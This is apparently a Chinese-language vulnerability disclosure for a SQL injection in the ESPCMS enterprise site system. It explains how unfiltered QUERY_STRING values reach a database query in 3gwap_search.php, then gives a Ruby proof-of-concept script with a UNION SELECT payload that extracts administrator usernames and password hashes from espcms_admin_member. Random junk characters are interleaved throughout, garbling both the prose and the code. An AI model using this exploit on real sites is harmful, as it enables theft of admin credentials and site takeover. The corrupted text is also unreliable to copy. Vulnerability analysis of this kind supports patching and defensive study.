0×0 漏洞概述0×1 漏洞细节
" N1 }& w; a+ r' V% s0×2 PoC1 h: H! Y" j% h% f8 w* S1 k% Q3 Y
. ]) q; H2 ~3 }& T# [+ l1 M
7 W3 j; |5 T0 b+ O# a, z
( K" ?( f2 l" Q2 ` \. r) w0×0 漏洞概述/ s8 ~$ r4 B7 T/ j" g
7 c- P e6 ^2 z$ H2 [( {- } t
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。 l5 ]6 a/ V! G, O* D1 ~
其在处理传入的参数时考虑不严谨导致SQL注入发生
6 a( p% E' D1 W0 a) {; i) t( M" ~) k5 f4 V1 C
% z. g7 K- T5 H. ]; m) t
0×1 漏洞细节
# u }! L% y1 X: N) A/ ?
8 S& S5 t! A1 X, X( f$ F5 D B变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。0 D6 c/ p* O& K1 z) k
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
2 K6 v& _0 @7 Q而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
3 z0 H6 x" ^ [( U8 _8 A# D; Q+ T2 e J5 b; N, m
在/interface/3gwap_search.php文件的in_result函数中:
B+ g3 n0 q9 Q2 r- |& f0 o! A O8 ~2 l% `& a, r) v( [9 S: t; L! Y8 k
# u; {$ c: G S- p, H6 o) ?; P% t* }' ]) w! c3 v! O
function in_result() {
+ a! V& v) V& G7 T2 |1 p. i$ K ... ... ... ... ... ... ... ... .... Z6 r7 A" g8 E, Y* ~
$urlcode = $_SERVER[ 'QUERY_STRING '];) E; n0 e( [ _4 N; C
parse_str(html_entity_decode($urlcode), $output);6 Y6 `0 F. P% U: s, E7 W
- ^8 x: i7 c8 P; F) m1 A- Z ... ... ... ... ... ... ... ... ..., M) R* L! }; g* }. W
if (is_array($output['attr' ]) && count($output['attr']) > 0) {8 b3 N4 e, d" k# w! ?
0 w9 V9 {$ ^( \* M& {
$db_table = db_prefix . 'model_att';, X9 Y3 m- i( a0 y8 b8 l
( C+ L: \0 E, p' c
foreach ($output['attr' ] as $key => $value) {
% ]1 a+ T: L5 g if ($value) {
( D" E j4 B+ c5 V" O& r# n
6 i1 w2 [* i" ^2 n3 p7 t/ x $key = addslashes($key);
! N- [* F6 y" F% d9 N9 N9 x Y $key = $this-> fun->inputcodetrim($key);0 C) M. [* L& c2 K' D, N% d% d
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
2 l, ] D1 T0 I* H! O# n5 m2 a $countnum = $this->db_numrows($db_table, $db_att_where);# t4 H+ ~0 z/ Q8 E; v
if ($countnum > 0) {
$ ^' \' y( \# s $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;. b$ q3 ]7 T/ d, F" I. Q3 c# @' g" Z
}0 |% B( c9 H2 J/ |1 s3 k/ h
}
+ f' @4 V0 S) t' E$ M }8 U7 s( O* y+ e/ F3 o/ |
}' g1 g% \1 \( F u g5 j! \
if (!empty ($keyword) && empty($keyname)) {
# X' L& k% ?( F* Z$ q0 u5 J6 o$ j $keyname = 'title';% B& t" N# W) w" i5 V) ]
$db_where.= " AND a.title like '%$keyword%'" ;
0 `- H' f0 P3 K4 X/ P } elseif (!empty ($keyword) && !empty($keyname)) { J# s& X2 c) R+ E
$db_where.= " AND $keyname like '% $keyword%'";6 `6 H( R5 [+ r
}, S1 U1 M3 W! M" C8 Q# C
$pagemax = 15;+ F7 I7 u0 A5 E" j$ R! v4 F7 {
* P) s0 k7 B( M+ } $pagesylte = 1;; |( m& p* g. K( x0 z5 `; c+ R
3 H6 A" s8 q& d if ($countnum > 0) {
( r9 B3 L) }( P1 S. V$ l% V, M% h
# E- K1 u# }' D$ m7 b7 | $numpage = ceil($countnum / $pagemax);
4 S/ |( r6 O' v7 K& h } else {
- A) q9 u& X# _5 b/ U& p $numpage = 1;
( Q3 G2 F$ |, z: t5 _2 j }
$ E8 V2 X+ _$ b2 b. u0 Z, T- X $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;. ~/ ]) k! I ~" v) U! w2 e
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
7 j: Z2 A1 U, i7 P' G& p" h$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
5 |1 W6 z# b+ q# |3 `; l ... ... ... ... ... ... ... ... ...( B/ B5 U0 E" W: B0 i% b
}
8 m; U, {- Q. f8 |, Q3 ?# c* P3 F6 J. V$ |9 S& Y5 s
) H. J2 {& h2 k0×2 PoC
+ q$ l$ `) X% v. J" \: Z
" O3 P* u. o, J( Y% z$ `5 I3 u/ P# H" v+ ?. h3 G
5 q9 } j N; S- @' X& grequire "net/http"- c) R' o& B: Q1 G' x
& E1 N0 e( W* o# s1 j% Q0 K* Y! S! Kdef request(method, url)
1 W5 O/ j1 Y9 F) V" N% q! m7 M9 j if method.eql?("get")' ^* E+ @% z- D3 h1 ~( l
uri = URI.parse(url)
4 l& J9 g9 |$ U6 T1 ^ e w+ o/ p http = Net::HTTP.new(uri.host, uri.port)
' z) x3 r3 i5 X7 w response = http.request(Net::HTTP::Get.new(uri.request_uri))- C. R7 l/ u/ ]3 g) g
return response. ]8 b8 p9 R& }) o% l( ^* B
end
$ x" w, M. Z! Q+ Send- Y( l8 c8 {1 Y
1 n* q9 S3 W+ s
doc =<<HERE; X: ?3 y9 {$ a2 ^
-------------------------------------------------------4 [* |, e1 D9 c' X! G
Espcms Injection Exploit
0 T8 j( Y8 t2 fAuthor:ztz
) M+ }: v/ S2 D: o `Blog:http://ztz.fuzzexp.org/
" t# Y( H2 P8 c% Q. J) C-------------------------------------------------------
2 M( ?2 F7 _( S
& P. \6 q! ~& T1 V8 `) Q! ?HERE
; v; B Y# b* ?/ ]2 J* Y. p2 `( u9 p$ H2 p& \
usage =<<HERE
( k% B( c* v) Z) @2 Z5 ?Usage: ruby #{$0} host port path
& f9 I# N4 O8 g1 Uexample: ruby #{$0} www.target.com 80 /& e) e5 B* s# N8 j6 [
HERE
% b* h3 e2 T; P5 A0 k
9 G. ?' G I4 o# `* tputs doc
2 y/ }( Y% z( u [/ [5 ]5 W, R& C vif ARGV.length < 3( _) {6 Z6 y/ {3 k) h& C
puts usage
# E0 \( {7 @5 b) Q: _else5 e* F s" r. B8 v- o
$host = ARGV[0]6 D# V- J4 I, U6 E0 t
$port = ARGV[1]
! b& X d7 ~5 D $path = ARGV[2]
& _/ Q0 P3 T1 b3 ^: b6 ~$ F! i
# R2 i. o6 ^! D puts "send request..."+ o2 U& g3 v7 S# E+ x; f
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&" H( C( m6 j& I Z
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
X8 o% Z K$ t3 K. O; g) o,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
. o: A% P& Q6 t$ S4 F/ T% R; e! W,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"' h! r- D5 q, b! Y
response = request("get", url)9 A0 ~5 |- Z; j5 F
result = response.body.scan(/\w+&\w{32}/)
- _6 o/ s1 o7 K( W* k* I. N/ c: k puts result, I2 P! i0 G( R# q
end1 ]2 P( B" G5 p- b! {
: M* o& o* X, {: Q# i
|